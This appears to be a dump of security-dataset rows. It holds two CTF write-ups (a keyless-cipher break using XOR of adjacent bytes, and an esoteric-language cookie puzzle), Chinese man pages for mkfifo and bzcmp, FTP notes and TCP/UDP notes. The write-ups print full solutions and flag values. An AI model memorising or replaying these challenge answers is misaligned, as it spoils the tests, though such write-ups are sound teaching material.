[ENG](#eng-version)
Dostajemy cztery ciphertexty, oraz trzy odpowiadające im plaintexty. W czwartym ciphertexcie znajduje się flaga, i naszym zadaniem jest odzyskać ją:
```python
inp0 = "People don't understand computers. Computers are magical boxes that do things. People believe what computers tell them."
out0 = "a2ccb5e4a4f694bd8a87cec3679d69a87db401a4199006dbb0ccbfe6a7ecc3e4f7b2e426c53fed35f95fe3498d038bebdbadeabce9cdfecf87968776876be12088228041c951730a7a30702e197802372236c03dc443934bef55ee71e03f423f7e213715360c1e060aec10fa7ea57ad36f94069f066c50".decode("hex")
inp1 = "There are two types of encryption: one that will prevent your sister from reading your diary and one that will prevent your government."
out1 = "2e4d3e6d2433102f12514b45ae01ef33f32d9869da5b891177076b3b7f34172d237224ca28da588151f349b023a5335a6a0155014b69557c343e2fd3358a538f3c8330a36ffe8eec999ac69abf94a7acbbe01fe108dd4f96378529b96df397e6e6a2fadeb2919b979b38c131f93aa015b709990d9fecdebafdbbf79ead9d819163867db97bb854".decode("hex")
inp2 = "There's an entire flight simulator hidden in every copy of Microsoft Excel 97."
out2 = "fa99eab9f0e0d1bc8588c6da30cb38ef3aa101bc0989139ab2d2a5e1a0f3d8f9f6efb950b54680489e7dda6da923afcfadcfc99bc8ffd4a9aebbe521dc20f82291358510dc6e147a074846463554".decode("hex")
out3 = "b4d0b1b0e5bd8ae7cdcbc4d139cf75b173ad4bfb0787008ff2cdf3bffda783f6fff2a44ba81fd61edf3c853daa65ea9ce99690d586e1dee2e1f7a949a916d50dbd19bc2eab3e50380e0d7a2c1d205a59455fbe0ffa2ea63b9074ce43d11e715d495401235f693e31289b2c8d198158f81ba471b32917644e".decode('hex')
inp = [inp0, inp1, inp2]
out = [out0, out1, out2, out3]
```
Nie wiemy w jaki sposób zostały zaszyfrowane te dane, musimy więc uciec sie do kryptoanalizy. Jako podpowiedź, w treści zadania otrzymaliśmy informację że szyfr nie używa żadnego klucza.
Pierwszą rzeczą jaką zauważamy, jest bardzo specyficzny rozkład najwyższego bitu wiadomości:
```python
for i in range(len(out)):
o = out[i]
print ''.join('1' if ord(oc)&0x80 != 0 else '0' for oc in o)
```
Co daje nam w wyniku:
11111111111101010101010111111111111010101010101111111111111010101010100000000000001010101010100000000000010101010101000
000000000000101010101010000000000001010101010100000000000001010101010111111111111101010101010111111111111010101010101111111111110101010
111111111111010101010101111111111110101010101011111111111110101010101000000000
111111111111010101010101111111111110101010101011111111111110101010101000000000000010101010101000000000000101010101010000
To bardzo ciekawa informacja - najwyższe bity w każdej wiadomośći są dokładnie takie same (poza drugą wiadomością w której są flipowane).
Kolejna ciekawa rzecz którą odkryliśmy - jeśli będziemy xorować pierwszy bajt CT (ciphertextu) z drugim, drugi z trzecim, etc, to dla drugiego i trzeciego wejścia wynik będzie sie zaczynał tak samo:`
```python
for o in out:
for i in range(20):
print ord(o[i]) ^ ord(o[i+1]),
print
```
Wynik:
110 121 81 64 82 98 41 55 13 73 13 164 250 244 193 213 201 181 165 189
99 115 83 73 23 35 63 61 67 26 14 235 175 238 220 192 222 181 241 179
99 115 83 73 16 49 109 57 13 78 28 234 251 243 215 213 155 160 189 181
100 97 1 85 88 55 109 42 6 15 21 232 246 186 196 194 222 230 176 252
Dlaczego tak się dzieje? Drugi i trzeci plaintext zaczyna się tak samo (pierwsze pięć bajtów jest identyczne).
Ale szósty bajt plaintextu się już różni, tak samo ct[4] ^ ct[5] jest różne dla 2 i 3 ciphertextu.
W tym momencie dokonaliśmy ciekawego spostrzeżenia (albo zgadywania, jak kto woli).
Nazwijmy efekty xorowania kolejnych znaków CT jako xorct (xorct[x] = ct[x] ^ ct[x+1])
```python
plain2[5] = " " = 0x20
plain3[5] = "'" = 0x27
xorct2[5] = 0x17
xorct3[5] = 0x10
plain2[5] ^ plain3[5] = 7
xorct2[5] ^ xorct3[5] = 7
```
Okazuje się że to nie przypadek - ta własność zachodzi dla każdego indeksu.
Mając tak silną zależność między plaintextem i ciphertextem, napisanie dekryptora dla ostatniego ciphertextu jest trywialne.
Podsumowanie pomysłu stojącego za dekryptorem (kod niżej) - bierzemy plaintext1 i odpowiadający mu ciphertext1 (musiemy mieć przykładowe zdekryptowane dane).
I teraz żeby zdekryptować ciphertext2 (wynik nazwiemy plaintext2), zauważamy że dla każdego indekxu `i` zachodzi
plain1[i] ^ plain2[i] == xorct1[i] ^ xorct2[i]
(Przypominam, xorct[i] to oznaczenie na ct[i] ^ ct[i+1])
Więc:
plain2[i] == xorct1[i] ^ xorct2[i] ^ plain1[i]
Nasz oryginalny kod (będący trochę brzydki bo "bruteforcuje" bajty, ale napisany na szybko, ale co dziwne - zadziałał od razu):
```python
for i in range(len(out0)):
for c in range(256):
if (ord(out1[i]) ^ ord(out1[i+1])) ^ (ord(out3[i]) ^ ord(out3[i+1])) == ord(inp1[i+1]) ^ c:
print chr(c),
```
Ładniejsza wersja (napisana podczas pisania tego writeupa, dla porządku):
```python
print ''.join(chr((ord(out1[i]) ^ ord(out1[i+1])) ^ (ord(out3[i]) ^ ord(out3[i+1])) ^ ord(inp1[i+1])) for i in range(len(out0)))
```
Wynik:
ow you really are a guru, even if no key was used to make it impossible. Your flag is: c7ddf0e946cc0a5ba09807ce3d33f9a7
### ENG version
We get four ciphertexts and three corresponding plaintexts. The fourth ciphertext contains the flag and we are supposed to decode it:
```python
inp0 = "People don't understand computers. Computers are magical boxes that do things. People believe what computers tell them."
out0 = "a2ccb5e4a4f694bd8a87cec3679d69a87db401a4199006dbb0ccbfe6a7ecc3e4f7b2e426c53fed35f95fe3498d038bebdbadeabce9cdfecf87968776876be12088228041c951730a7a30702e197802372236c03dc443934bef55ee71e03f423f7e213715360c1e060aec10fa7ea57ad36f94069f066c50".decode("hex")
inp1 = "There are two types of encryption: one that will prevent your sister from reading your diary and one that will prevent your government."
out1 = "2e4d3e6d2433102f12514b45ae01ef33f32d9869da5b891177076b3b7f34172d237224ca28da588151f349b023a5335a6a0155014b69557c343e2fd3358a538f3c8330a36ffe8eec999ac69abf94a7acbbe01fe108dd4f96378529b96df397e6e6a2fadeb2919b979b38c131f93aa015b709990d9fecdebafdbbf79ead9d819163867db97bb854".decode("hex")
inp2 = "There's an entire flight simulator hidden in every copy of Microsoft Excel 97."
out2 = "fa99eab9f0e0d1bc8588c6da30cb38ef3aa101bc0989139ab2d2a5e1a0f3d8f9f6efb950b54680489e7dda6da923afcfadcfc99bc8ffd4a9aebbe521dc20f82291358510dc6e147a074846463554".decode("hex")
out3 = "b4d0b1b0e5bd8ae7cdcbc4d139cf75b173ad4bfb0787008ff2cdf3bffda783f6fff2a44ba81fd61edf3c853daa65ea9ce99690d586e1dee2e1f7a949a916d50dbd19bc2eab3e50380e0d7a2c1d205a59455fbe0ffa2ea63b9074ce43d11e715d495401235f693e31289b2c8d198158f81ba471b32917644e".decode('hex')
inp = [inp0, inp1, inp2]
out = [out0, out1, out2, out3]
```
We don't know how the data were encoded so we need to perform some cryptoanalysis. As a hint in the task there is information that the cipher does not use any key.
First thing we notice is that there is a very particular distribution of values in the highest bit of the ciphertexts:
```python
for i in range(len(out)):
o = out[i]
print ''.join('1' if ord(oc)&0x80 != 0 else '0' for oc in o)
```
We get:
11111111111101010101010111111111111010101010101111111111111010101010100000000000001010101010100000000000010101010101000
000000000000101010101010000000000001010101010100000000000001010101010111111111111101010101010111111111111010101010101111111111110101010
111111111111010101010101111111111110101010101011111111111110101010101000000000
111111111111010101010101111111111110101010101011111111111110101010101000000000000010101010101000000000000101010101010000
This is interesting - the highest bits in every message are identical (or flipped in the second message).
Next interesting find is that if we xor first byte of ciphertext (CT) with second, second with third etc. then for second and third inputs we will get identical results:
```python
for o in out:
for i in range(20):
print ord(o[i]) ^ ord(o[i+1]),
print
```
Result:
110 121 81 64 82 98 41 55 13 73 13 164 250 244 193 213 201 181 165 189
99 115 83 73 23 35 63 61 67 26 14 235 175 238 220 192 222 181 241 179
99 115 83 73 16 49 109 57 13 78 28 234 251 243 215 213 155 160 189 181
100 97 1 85 88 55 109 42 6 15 21 232 246 186 196 194 222 230 176 252
Why is that? Second and third plaintexts start exactly the same way (first 5 bytes are identical).
But sixth byte of plaintext is different and therefore ct[4] ^ ct[5] is different for second and third ciphertext.
At this point we noticed (or guessed) a very interesting rule.
Let's define effects of xoring consecutive characters from CT as xorct -> xorct[x] = ct[x] ^ ct[x+1]
```python
plain2[5] = " " = 0x20
plain3[5] = "'" = 0x27
xorct2[5] = 0x17
xorct3[5] = 0x10
plain2[5] ^ plain3[5] = 7
xorct2[5] ^ xorct3[5] = 7
```
It turns out this is not accidental - this property works for every index.
With such a strong correlation between plaitnext and ciphertext it becomes trivial to make a decryption algorithm for the last ciphertext.
Summary of the decryption algorithm (code is below) - we take plaintext1 and corresponding ciphertext1 (we need example of decoded data).
Now to decrypt ciphertext2 (we mark the result as plaintextx2), we notice that for every intex `i` there is:
plain1[i] ^ plain2[i] == xorct1[i] ^ xorct2[i]
(As a reminder: xorct[i] means ct[i] ^ ct[i+1])
So:
plain2[i] == xorct1[i] ^ xorct2[i] ^ plain1[i]
Our original code (quite messy since it brute-forces bytes, but we were trying to write it fast, interestingly it worked right away):
```python
for i in range(len(out0)):
for c in range(256):
if (ord(out1[i]) ^ ord(out1[i+1])) ^ (ord(out3[i]) ^ ord(out3[i+1])) == ord(inp1[i+1]) ^ c:
print chr(c),
```
Pretty version (wrote when preparing this writeup):
```python
print ''.join(chr((ord(out1[i]) ^ ord(out1[i+1])) ^ (ord(out3[i]) ^ ord(out3[i+1])) ^ ord(inp1[i+1])) for i in range(len(out0)))
```
Result:
ow you really are a guru, even if no key was used to make it impossible. Your flag is: c7ddf0e946cc0a5ba09807ce3d33f9a7
|
sec-knowleage
|
.\" DO NOT MODIFY THIS FILE! It was generated by help2man 1.48.5.
.\"*******************************************************************
.\"
.\" This file was generated with po4a. Translate the source file.
.\"
.\"*******************************************************************
.TH MKFIFO 1 2022年9月 "GNU coreutils 9.1" 用户命令
.SH 名称
mkfifo \- 创建 FIFO(命名管道)
.SH 概述
\fBmkfifo\fP [\fI\,选项\/\fP]... \fI\,名称\/\fP...
.SH 描述
.\" Add any additional description here
.PP
使用给定的名称创建命名管道(FIFO)。
.PP
必选参数对长短选项同时适用。
.TP
\fB\-m\fP, \fB\-\-mode\fP=\fI\,模式\/\fP
将文件权限位设置为给定的模式(类似 chmod),而不是类似 a=rw 这样
.TP
\fB\-Z\fP
将 SELinux 安全上下文设置为默认类型
.TP
\fB\-\-context\fP[=\fI\,CTX\/\fP]
类似 \fB\-Z\fP,或者如果指定了上下文,则将 SELinux 或者 SMACK 安全上下文设置为指定类型
.TP
\fB\-\-help\fP
显示此帮助信息并退出
.TP
\fB\-\-version\fP
显示版本信息并退出
.SH 作者
由 David MacKenzie 编写。
.SH 报告错误
GNU coreutils 8.32
.br
请向 <https://translationproject.org/team/zh_CN.html> 报告翻译错误。
.SH 版权
Copyright \(co 2022 Free Software Foundation, Inc. License GPLv3+: GNU GPL
version 3 or later <https://gnu.org/licenses/gpl.html>.
.br
本软件是自由软件:您可以自由修改和重新发布它。在法律允许的范围内,不提供任何保证。
.SH 参见
\fBmkfifo\fP(3)
.PP
.br
完整文档请见: <https://www.gnu.org/software/coreutils/mkfifo>
.br
或者在本地使用: info \(aq(coreutils) mkfifo invocation\(aq
|
sec-knowleage
|
# 论文日读:Mining Data Provenance to Detect Advanced Persistent Threats
论文文件:https://mega.nz/file/xUwEUbaB#ToXxphdoukRIFO6B8RUr6Gpc3WDR51PXtgwqkpR0bpY
|
sec-knowleage
|
bzcmp
===
比较两个压缩包中的文件
## 补充说明
**bzcmp命令** 主要功能是在不真正解压缩.bz2压缩包的情况下,比较两个压缩包中的文件,省去了解压缩后在调用cmp命令的过程。
### 语法
```shell
bzcmp(参数)
```
### 参数
* 文件1:指定要比较的第一个.bz2压缩包;
* 文件2:指定要比较的第二个.bz2压缩包。
|
sec-knowleage
|
### FTP相关介绍
`FTP` ( `File Transfer Protocol` ,即文件传输协议)是 `TCP/IP` 协议组中的协议之一。 `FTP` 协议包括两个组成部分,其一为 `FTP` 服务器,其二为 `FTP` 客户端。其中 `FTP` 服务器用来存储文件,用户可以使用 `FTP` 客户端通过 `FTP` 协议访问位于 `FTP` 服务器上的资源。在开发网站的时候,通常利用 `FTP` 协议把网页或程序传到 `Web` 服务器上。此外,由于 `FTP` 传输效率非常高,在网络上传输大的文件时,一般也采用该协议。
默认情况下 `FTP` 协议使用 `TCP` 端口中的 `20` 和 `21` 这两个端口,其中 `20` 用于传输数据, `21` 用于传输控制信息。但是,是否使用 `20` 作为传输数据的端口与 `FTP` 使用的传输模式有关,如果采用主动模式,那么数据传输端口就是 `20` ;如果采用被动模式,则具体最终使用哪个端口要服务器端和客户端协商决定。
|
sec-knowleage
|
# Musicetry (Misc 200)
```
They should have forbidden this from the moment they hear abou the idea! Damn circles, rectangles is all we needed!
```
###ENG
[PL](#pl-version)
In the task we get a webpage with a CD picture.
We thought this might be stegano, but the picture was `.jpg` and it was hotlinked from a legitimate webpage so we figured it can't be it.
We noticed also a strange `data` cookie set by the webpage.
There were 4 different cookies we could get:
```
## %%
```
```
## %% %++ %++ %++ %++ @* %++ @* #% %# %++ %++ %++ %++ %++ @** %% %++ %++ @* %# ## #% %++ %++ %++ %++ @** %++ %++ %++ %++ %++ %++ %++ %++ %++ %++ %++ %++ %++ %++ @** ## %% %++ %++ %++ %++ %++ %++ %++ %++ %++ %++ %++ %++ %++ %++ %++ @*
```
```
## %% %++ %++ %++ %++ %++ %++ %++ %++ @* %++ @* %++ %++ %++ %++ %++ @* %++ %++ %++ %++ %++ %++ @* %% ##
```
```
## %% %++ %++ %++ %++ %++ %++ %++ %++ %++ %++ %++ %++ %++ %++ %++ %++ %++ %++ %++ %++ @* %# %++ @** %++ %++ %++ %++ %++ %++ %++ %++ %++ %++ %++ %++ %++ %++ %++ @** %# %++ %++ %++ %++ %++ @***
```
One of our friends spent once a few hours on a CTF reversing a certain brainfuck-like language from scratch, using only the code which should print a flag (we know the flag prefix).
Later it turned out that this was an actual esoteric language with a specification...
Anyway, our friend instantly recognized `data` payload as code for TapeBagel language.
And we already had interpreter for it:
https://github.com/p4-team/ctf/tree/master/2016-02-20-internetwache/re_80
So we used the interpreter to decode the inputs, getting `HINT`, `TAPE`, `DEFCESO`.
This was a big WTF for us, because we were sure this is just a hint for the task solution, so we were trying to google anything related, to no avail.
In the end one of our friends just checked if md5 of `DEFCESO` is not a flag, and it was...
###PL version
W zadaniu dostajemy linkkdo strony z obrazkiem płyty CD.
Myśleliśmy początkowo że może to być stegano, ale obrazek był `.jpg` i był linkowany z prawdziwej strony, więc uznaliśmy że to raczej nie to.
Zauważyliśmy także dziwne cookie `data` ustawiane przez stronę.
Były 4 różne wartości które mogliśmy dostać:
```
## %%
```
```
## %% %++ %++ %++ %++ @* %++ @* #% %# %++ %++ %++ %++ %++ @** %% %++ %++ @* %# ## #% %++ %++ %++ %++ @** %++ %++ %++ %++ %++ %++ %++ %++ %++ %++ %++ %++ %++ %++ @** ## %% %++ %++ %++ %++ %++ %++ %++ %++ %++ %++ %++ %++ %++ %++ %++ @*
```
```
## %% %++ %++ %++ %++ %++ %++ %++ %++ @* %++ @* %++ %++ %++ %++ %++ @* %++ %++ %++ %++ %++ %++ @* %% ##
```
```
## %% %++ %++ %++ %++ %++ %++ %++ %++ %++ %++ %++ %++ %++ %++ %++ %++ %++ %++ %++ %++ @* %# %++ @** %++ %++ %++ %++ %++ %++ %++ %++ %++ %++ %++ %++ %++ %++ %++ @** %# %++ %++ %++ %++ %++ @***
```
Jeden z naszych kolegów spędził kiedyś kilka godzin na CTFie reversując język podobny do brainfucka, korzystając jedynie z kodu który miał wypisać flagę (znalism prefix flagi).
Później okazało się, że to jest opisany język ezoteryczny z istniejącą specyfikacją...
Niemniej nasz kolega od razu rozpoznał zawartość cookie `data` jako kod języka TapeBagel.
Mamy juz do niego interpreter:
https://github.com/p4-team/ctf/tree/master/2016-02-20-internetwache/re_80
Użyliśmy interpretera do odkodowania danych, dostając `HINT`, `TAPE`, `DEFCESO`.
Dalsza część to mocny WTF, ponieważ byliśmy pewni, że to tylko hint dla dalszej części zadania i próbowalismy googlować cokolwiek związanego, bez efektów.
Na koniec jeden z naszych kolegów sprawdzić czy aby czasem md5 z `DEFCESO` nie jest po prostu flagą i był...
|
sec-knowleage
|
# 计算机网络 - 传输层
<!-- GFM-TOC -->
* [计算机网络 - 传输层](#计算机网络---传输层)
* [UDP 和 TCP 的特点](#udp-和-tcp-的特点)
* [UDP 首部格式](#udp-首部格式)
* [TCP 首部格式](#tcp-首部格式)
* [TCP 的三次握手](#tcp-的三次握手)
* [TCP 的四次挥手](#tcp-的四次挥手)
* [TCP 可靠传输](#tcp-可靠传输)
* [TCP 滑动窗口](#tcp-滑动窗口)
* [TCP 流量控制](#tcp-流量控制)
* [TCP 拥塞控制](#tcp-拥塞控制)
* [1. 慢开始与拥塞避免](#1-慢开始与拥塞避免)
* [2. 快重传与快恢复](#2-快重传与快恢复)
<!-- GFM-TOC -->
网络层只把分组发送到目的主机,但是真正通信的并不是主机而是主机中的进程。传输层提供了进程间的逻辑通信,传输层向高层用户屏蔽了下面网络层的核心细节,使应用程序看起来像是在两个传输层实体之间有一条端到端的逻辑通信信道。
## UDP 和 TCP 的特点
- 用户数据报协议 UDP(User Datagram Protocol)是无连接的,尽最大可能交付,没有拥塞控制,面向报文(对于应用程序传下来的报文不合并也不拆分,只是添加 UDP 首部),支持一对一、一对多、多对一和多对多的交互通信。
- 传输控制协议 TCP(Transmission Control Protocol)是面向连接的,提供可靠交付,有流量控制,拥塞控制,提供全双工通信,面向字节流(把应用层传下来的报文看成字节流,把字节流组织成大小不等的数据块),每一条 TCP 连接只能是点对点的(一对一)。
## UDP 首部格式
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/d4c3a4a1-0846-46ec-9cc3-eaddfca71254.jpg" width="600"/> </div><br>
首部字段只有 8 个字节,包括源端口、目的端口、长度、检验和。12 字节的伪首部是为了计算检验和临时添加的。
## TCP 首部格式
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/55dc4e84-573d-4c13-a765-52ed1dd251f9.png" width="700"/> </div><br>
- **序号** :用于对字节流进行编号,例如序号为 301,表示第一个字节的编号为 301,如果携带的数据长度为 100 字节,那么下一个报文段的序号应为 401。
- **确认号** :期望收到的下一个报文段的序号。例如 B 正确收到 A 发送来的一个报文段,序号为 501,携带的数据长度为 200 字节,因此 B 期望下一个报文段的序号为 701,B 发送给 A 的确认报文段中确认号就为 701。
- **数据偏移** :指的是数据部分距离报文段起始处的偏移量,实际上指的是首部的长度。
- **确认 ACK** :当 ACK=1 时确认号字段有效,否则无效。TCP 规定,在连接建立后所有传送的报文段都必须把 ACK 置 1。
- **同步 SYN** :在连接建立时用来同步序号。当 SYN=1,ACK=0 时表示这是一个连接请求报文段。若对方同意建立连接,则响应报文中 SYN=1,ACK=1。
- **终止 FIN** :用来释放一个连接,当 FIN=1 时,表示此报文段的发送方的数据已发送完毕,并要求释放连接。
- **窗口** :窗口值作为接收方让发送方设置其发送窗口的依据。之所以要有这个限制,是因为接收方的数据缓存空间是有限的。
## TCP 的三次握手
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/e92d0ebc-7d46-413b-aec1-34a39602f787.png" width="600"/> </div><br>
假设 A 为客户端,B 为服务器端。
- 首先 B 处于 LISTEN(监听)状态,等待客户的连接请求。
- A 向 B 发送连接请求报文,SYN=1,ACK=0,选择一个初始的序号 x。
- B 收到连接请求报文,如果同意建立连接,则向 A 发送连接确认报文,SYN=1,ACK=1,确认号为 x+1,同时也选择一个初始的序号 y。
- A 收到 B 的连接确认报文后,还要向 B 发出确认,确认号为 y+1,序号为 x+1。
- B 收到 A 的确认后,连接建立。
**三次握手的原因**
第三次握手是为了防止失效的连接请求到达服务器,让服务器错误打开连接。
客户端发送的连接请求如果在网络中滞留,那么就会隔很长一段时间才能收到服务器端发回的连接确认。客户端等待一个超时重传时间之后,就会重新请求连接。但是这个滞留的连接请求最后还是会到达服务器,如果不进行三次握手,那么服务器就会打开两个连接。如果有第三次握手,客户端会忽略服务器之后发送的对滞留连接请求的连接确认,不进行第三次握手,因此就不会再次打开连接。
## TCP 的四次挥手
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/f87afe72-c2df-4c12-ac03-9b8d581a8af8.jpg" width="600"/> </div><br>
以下描述不讨论序号和确认号,因为序号和确认号的规则比较简单。并且不讨论 ACK,因为 ACK 在连接建立之后都为 1。
- A 发送连接释放报文,FIN=1。
- B 收到之后发出确认,此时 TCP 属于半关闭状态,B 能向 A 发送数据但是 A 不能向 B 发送数据。
- 当 B 不再需要连接时,发送连接释放报文,FIN=1。
- A 收到后发出确认,进入 TIME-WAIT 状态,等待 2 MSL(最大报文存活时间)后释放连接。
- B 收到 A 的确认后释放连接。
**四次挥手的原因**
客户端发送了 FIN 连接释放报文之后,服务器收到了这个报文,就进入了 CLOSE-WAIT 状态。这个状态是为了让服务器端发送还未传送完毕的数据,传送完毕之后,服务器会发送 FIN 连接释放报文。
**TIME_WAIT**
客户端接收到服务器端的 FIN 报文后进入此状态,此时并不是直接进入 CLOSED 状态,还需要等待一个时间计时器设置的时间 2MSL。这么做有两个理由:
- 确保最后一个确认报文能够到达。如果 B 没收到 A 发送来的确认报文,那么就会重新发送连接释放请求报文,A 等待一段时间就是为了处理这种情况的发生。
- 等待一段时间是为了让本连接持续时间内所产生的所有报文都从网络中消失,使得下一个新的连接不会出现旧的连接请求报文。
## TCP 可靠传输
TCP 使用超时重传来实现可靠传输:如果一个已经发送的报文段在超时时间内没有收到确认,那么就重传这个报文段。
一个报文段从发送再到接收到确认所经过的时间称为往返时间 RTT,加权平均往返时间 RTTs 计算如下:
<div align="center"><img src="https://latex.codecogs.com/gif.latex?RTTs=(1-a)*(RTTs)+a*RTT" class="mathjax-pic"/></div> <br>
其中,0 ≤ a < 1,RTTs 随着 a 的增加更容易受到 RTT 的影响。
超时时间 RTO 应该略大于 RTTs,TCP 使用的超时时间计算如下:
<div align="center"><img src="https://latex.codecogs.com/gif.latex?RTO=RTTs+4*RTT_d" class="mathjax-pic"/></div> <br>
其中 RTT<sub>d</sub> 为偏差的加权平均值。
## TCP 滑动窗口
窗口是缓存的一部分,用来暂时存放字节流。发送方和接收方各有一个窗口,接收方通过 TCP 报文段中的窗口字段告诉发送方自己的窗口大小,发送方根据这个值和其它信息设置自己的窗口大小。
发送窗口内的字节都允许被发送,接收窗口内的字节都允许被接收。如果发送窗口左部的字节已经发送并且收到了确认,那么就将发送窗口向右滑动一定距离,直到左部第一个字节不是已发送并且已确认的状态;接收窗口的滑动类似,接收窗口左部字节已经发送确认并交付主机,就向右滑动接收窗口。
接收窗口只会对窗口内最后一个按序到达的字节进行确认,例如接收窗口已经收到的字节为 {31, 34, 35},其中 {31} 按序到达,而 {34, 35} 就不是,因此只对字节 31 进行确认。发送方得到一个字节的确认之后,就知道这个字节之前的所有字节都已经被接收。
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/a3253deb-8d21-40a1-aae4-7d178e4aa319.jpg" width="800"/> </div><br>
## TCP 流量控制
流量控制是为了控制发送方发送速率,保证接收方来得及接收。
接收方发送的确认报文中的窗口字段可以用来控制发送方窗口大小,从而影响发送方的发送速率。将窗口字段设置为 0,则发送方不能发送数据。
## TCP 拥塞控制
如果网络出现拥塞,分组将会丢失,此时发送方会继续重传,从而导致网络拥塞程度更高。因此当出现拥塞时,应当控制发送方的速率。这一点和流量控制很像,但是出发点不同。流量控制是为了让接收方能来得及接收,而拥塞控制是为了降低整个网络的拥塞程度。
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/51e2ed95-65b8-4ae9-8af3-65602d452a25.jpg" width="500"/> </div><br>
TCP 主要通过四个算法来进行拥塞控制:慢开始、拥塞避免、快重传、快恢复。
发送方需要维护一个叫做拥塞窗口(cwnd)的状态变量,注意拥塞窗口与发送方窗口的区别:拥塞窗口只是一个状态变量,实际决定发送方能发送多少数据的是发送方窗口。
为了便于讨论,做如下假设:
- 接收方有足够大的接收缓存,因此不会发生流量控制;
- 虽然 TCP 的窗口基于字节,但是这里设窗口的大小单位为报文段。
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/910f613f-514f-4534-87dd-9b4699d59d31.png" width="800"/> </div><br>
### 1. 慢开始与拥塞避免
发送的最初执行慢开始,令 cwnd = 1,发送方只能发送 1 个报文段;当收到确认后,将 cwnd 加倍,因此之后发送方能够发送的报文段数量为:2、4、8 ...
注意到慢开始每个轮次都将 cwnd 加倍,这样会让 cwnd 增长速度非常快,从而使得发送方发送的速度增长速度过快,网络拥塞的可能性也就更高。设置一个慢开始门限 ssthresh,当 cwnd \>= ssthresh 时,进入拥塞避免,每个轮次只将 cwnd 加 1。
如果出现了超时,则令 ssthresh = cwnd / 2,然后重新执行慢开始。
### 2. 快重传与快恢复
在接收方,要求每次接收到报文段都应该对最后一个已收到的有序报文段进行确认。例如已经接收到 M<sub>1</sub> 和 M<sub>2</sub>,此时收到 M<sub>4</sub>,应当发送对 M<sub>2</sub> 的确认。
在发送方,如果收到三个重复确认,那么可以知道下一个报文段丢失,此时执行快重传,立即重传下一个报文段。例如收到三个 M<sub>2</sub>,则 M<sub>3</sub> 丢失,立即重传 M<sub>3</sub>。
在这种情况下,只是丢失个别报文段,而不是网络拥塞。因此执行快恢复,令 ssthresh = cwnd / 2 ,cwnd = ssthresh,注意到此时直接进入拥塞避免。
慢开始和快恢复的快慢指的是 cwnd 的设定值,而不是 cwnd 的增长速率。慢开始 cwnd 设定为 1,而快恢复 cwnd 设定为 ssthresh。
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/f61b5419-c94a-4df1-8d4d-aed9ae8cc6d5.png" width="600"/> </div><br>
|
sec-knowleage
|
Subsets and Splits
Top 100 EPUB Books
This query retrieves a limited set of raw data entries that belong to the 'epub_books' category, offering only basic filtering without deeper insights.